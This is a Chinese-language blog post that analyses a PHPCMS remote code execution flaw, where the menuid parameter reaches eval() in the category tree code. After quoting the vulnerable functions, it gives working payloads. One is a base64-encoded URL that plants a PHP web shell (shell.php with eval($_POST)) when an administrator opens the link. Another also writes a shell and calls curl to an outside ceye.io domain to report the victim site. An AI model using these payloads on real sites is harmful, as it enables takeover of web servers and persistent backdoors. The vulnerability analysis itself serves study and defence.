参考url:https://xianzhi.aliyun.com/forum/read/1507.html
poc:index.php??m=content&c=content&a=public_categorys&menuid=${@phpinfo()}
根据拿到的poc,phpcms的mvc结构,代码位于/phpcms/modules/content/content.php 第472-532行
public function public_categorys() { $show_header = ‘‘; $cfg = getcache(‘common‘,‘commons‘); $ajax_show = intval($cfg[‘category_ajax‘]); $from = isset($_GET[‘from‘]) && in_array($_GET[‘from‘],array(‘block‘)) ? $_GET[‘from‘] : ‘content‘; $tree = pc_base::load_sys_class(‘tree‘); if($from==‘content‘ && $_SESSION[‘roleid‘] != 1) { $this->priv_db = pc_base::load_model(‘category_priv_model‘); $priv_result = $this->priv_db->select(array(‘action‘=>‘init‘,‘roleid‘=>$_SESSION[‘roleid‘],‘siteid‘=>$this->siteid,‘is_admin‘=>1)); $priv_catids = array(); foreach($priv_result as $_v) { $priv_catids[] = $_v[‘catid‘]; } if(empty($priv_catids)) return ‘‘; } $categorys = array(); if(!empty($this->categorys)) { foreach($this->categorys as $r) { if($r[‘siteid‘]!=$this->siteid || ($r[‘type‘]==2 && $r[‘child‘]==0)) continue; if($from==‘content‘ && $_SESSION[‘roleid‘] != 1 && !in_array($r[‘catid‘],$priv_catids)) { $arrchildid = explode(‘,‘,$r[‘arrchildid‘]); $array_intersect = array_intersect($priv_catids,$arrchildid); if(empty($array_intersect)) continue; } if($r[‘type‘]==1 || $from==‘block‘) { if($r[‘type‘]==0) { $r[‘vs_show‘] = "<a href=‘?m=block&c=block_admin&a=public_visualization&menuid=".$_GET[‘menuid‘]."&catid=".$r[‘catid‘]."&type=show‘ target=‘right‘>[".L(‘content_page‘)."]</a>"; } else { $r[‘vs_show‘] =‘‘; } $r[‘icon_type‘] = ‘file‘; $r[‘add_icon‘] = ‘‘; $r[‘type‘] = ‘add‘; } else { $r[‘icon_type‘] = $r[‘vs_show‘] = ‘‘; $r[‘type‘] = ‘init‘; $r[‘add_icon‘] = "<a target=‘right‘ href=‘?m=content&c=content&menuid=".$_GET[‘menuid‘]."&catid=".$r[‘catid‘]."‘ onclick=javascript:openwinx(‘?m=content&c=content&a=add&menuid=".$_GET[‘menuid‘]."&catid=".$r[‘catid‘]."&hash_page=".$_SESSION[‘hash_page‘]."‘,‘‘)><img src=‘".IMG_PATH."add_content.gif‘ alt=‘".L(‘add‘)."‘></a> "; } $categorys[$r[‘catid‘]] = $r; } } if(!empty($categorys)) { $tree->init($categorys); switch($from) { case ‘block‘: $strs = "<span class=‘\$icon_type‘>\$add_icon<a href=‘?m=block&c=block_admin&a=public_visualization&menuid=".$_GET[‘menuid‘]."&catid=\$catid&type=list‘ target=‘right‘>\$catname</a> \$vs_show</span>"; $strs2 = "<img src=‘".IMG_PATH."folder.gif‘> <a href=‘?m=block&c=block_admin&a=public_visualization&menuid=".$_GET[‘menuid‘]."&catid=\$catid&type=category‘ target=‘right‘>\$catname</a>"; break; default: $strs = "<span class=‘\$icon_type‘>\$add_icon<a href=‘?m=content&c=content&a=\$type&menuid=".$_GET[‘menuid‘]."&catid=\$catid‘ target=‘right‘ onclick=‘open_list(this)‘>\$catname</a></span>"; $strs2 = "<span class=‘folder‘>\$catname</span>"; break; } $categorys = $tree->get_treeview(0,‘category_tree‘,$strs,$strs2,$ajax_show); } else { $categorys = L(‘please_add_category‘); } include $this->admin_tpl(‘category_tree‘); exit; }
在当前函数开始下个断点
跟到526行:
$categorys = $tree->get_treeview(0,‘category_tree‘,$strs,$strs2,$ajax_show);
进入了get_treeview()函数,跟入进去,
函数位于 /phpcms/libs/classes/tree.class.php 第206-239行。
* @param $myid 表示获得这个ID下的所有子级* @param $effected_id 需要生成treeview目录数的id* @param $str 末级样式* @param $str2 目录级别样式* @param $showlevel 直接显示层级数,其余为异步显示,0为全部限制* @param $style 目录样式 默认 filetree 可增加其他样式如‘filetree treeview-famfamfam‘* @param $currentlevel 计算当前层级,递归使用 适用改函数时不需要用该参数* @param $recursion 递归使用 外部调用时为FALSE
function get_treeview($myid,$effected_id=‘example‘,$str="<span class=‘file‘>\$name</span>", $str2="<span class=‘folder‘>\$name</span>" ,$showlevel = 0 ,$style=‘filetree ‘ , $currentlevel = 1,$recursion=FALSE) { $child = $this->get_child($myid); if(!defined(‘EFFECTED_INIT‘)){ $effected = ‘ id="‘.$effected_id.‘"‘; define(‘EFFECTED_INIT‘, 1); } else { $effected = ‘‘; } $placeholder = ‘<ul><li><span class="placeholder"></span></li></ul>‘; if(!$recursion) $this->str .=‘<ul‘.$effected.‘ class="‘.$style.‘">‘; foreach($child as $id=>$a) { @extract($a); if($showlevel > 0 && $showlevel == $currentlevel && $this->get_child($id)) $folder = ‘hasChildren‘; //如设置显示层级模式@2011.07.01 $floder_status = isset($folder) ? ‘ class="‘.$folder.‘"‘ : ‘‘; $this->str .= $recursion ? ‘<ul><li‘.$floder_status.‘ id=\‘‘.$id.‘\‘>‘ : ‘<li‘.$floder_status.‘ id=\‘‘.$id.‘\‘>‘; $recursion = FALSE; if($this->get_child($id)){ eval("\$nstr = \"$str2\";"); $this->str .= $nstr; if($showlevel == 0 || ($showlevel > 0 && $showlevel > $currentlevel)) { $this->get_treeview($id, $effected_id, $str, $str2, $showlevel, $style, $currentlevel+1, TRUE); } elseif($showlevel > 0 && $showlevel == $currentlevel) { $this->str .= $placeholder; } } else { eval("\$nstr = \"$str\";"); $this->str .= $nstr; } $this->str .=$recursion ? ‘</li></ul>‘: ‘</li>‘; } if(!$recursion) $this->str .=‘</ul>‘; return $this->str; }
这里有个判断:
if($this->get_child($id))
当第一次执行为ture的时候,还是会再次执行get_treeview的内容
$this->get_treeview($id, $effected_id, $str, $str2, $showlevel, $style, $currentlevel+1, TRUE);
第二次执行的时候$myid由0变成了1,
下图的$myid是 $id的值
这时候的$newarr为空,
if就不执行,转而执行elseif和else,而$str包含着menuid的值,也就是${@phpinfo()} ,这时候eval() 就执行了php代码。
这要管理员权限才能代码执行,修改下payload,管理员一访问就在当前域名的首页路径下生成shell。
/index.php?m=content&c=content&a=public_categorys&menuid=${@(assert(base64_decode(ZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycpOw)))}
密码1
还有另一种payload,会回显的提醒。
自动curl请求你的域名,然后回显网站url
print_r(base64_encode("fputs(fopen(‘shell.php‘,‘w‘),‘<?php eval(\$_POST[2]);‘);system(‘curl ‘.\$_SERVER[\"SERVER_NAME\"].‘4321.nrcuf9.ceye.io‘);"));
先输出base64的地址,然后在替换下面的字符串
/index.php?m=content&c=content&a=public_categorys&menuid=(${@(assert(eval(base64_decode(ZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbMl0pOycpO3N5c3RlbSgnY3VybCAnLiRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdLic0MzIxLm5yY3VmOS5jZXllLmlvJyk7))))})
这个字符串有几个点提醒下自己, assert()函数执行执行一句php代码,所以在assert前面加个eval,执行多条语句。
如果有读者读到这篇,求告知php的${} 作用。